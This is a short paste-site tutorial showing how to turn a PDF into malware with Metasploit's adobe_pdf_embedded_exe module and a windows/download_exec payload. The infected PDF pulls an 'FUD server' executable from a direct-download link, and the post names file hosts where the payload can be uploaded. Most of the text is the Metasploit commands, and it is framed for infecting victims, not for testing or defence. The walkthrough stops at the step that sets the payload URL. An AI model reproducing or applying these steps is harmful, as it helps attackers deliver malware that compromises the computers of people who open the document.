metasploit


SUBMITTED BY: amacc562

DATE: Sept. 29, 2016, 10:37 a.m.

FORMAT: Text only

SIZE: 1.1 kB

HITS: 10604

  1. What you need:
  2. A PDF
  3. A Server
  4. Metasploit
  5. Make sure you upload your PDF and files to a DIRECT file site.
  6. http://directxex.com
  7. http://rghost.net/
  8. Now first, we will need to infect the PDF file. To do this we need to open up Metasploit console.
  9. Now that we're in the console you will want to type the following command.
  10. PHP Code:
  11. use exploit/windows/fileformat/adobe_pdf_embedded_exe
  12. Once you've typed the following command you'll need to structure it out.
  13. So you'll need to type.
  14. PHP Code:
  15. set payload windows/download_exec
  16. You will need to find the location of your pdf, so find that before you type the following command.
  17. This is a example, of what I'm talking about.
  18. PHP Code:
  19. set INFILENAME C:/Users/username/Desktop/example.pdf
  20. That is a example^^
  21. So back onto the tutorial once you found your file directory just type it in Metasploit.
  22. PHP Code:
  23. set INFILENAME <YOUR PDF FILE LOCATION HERE!>
  24. Now the next part you'll need the direct link to your server.
  25. so now type into metasploit
  26. PHP Code:
  27. set url <YOUR DIRECT FUD SERVER LINK HERE>

comments powered by Disqus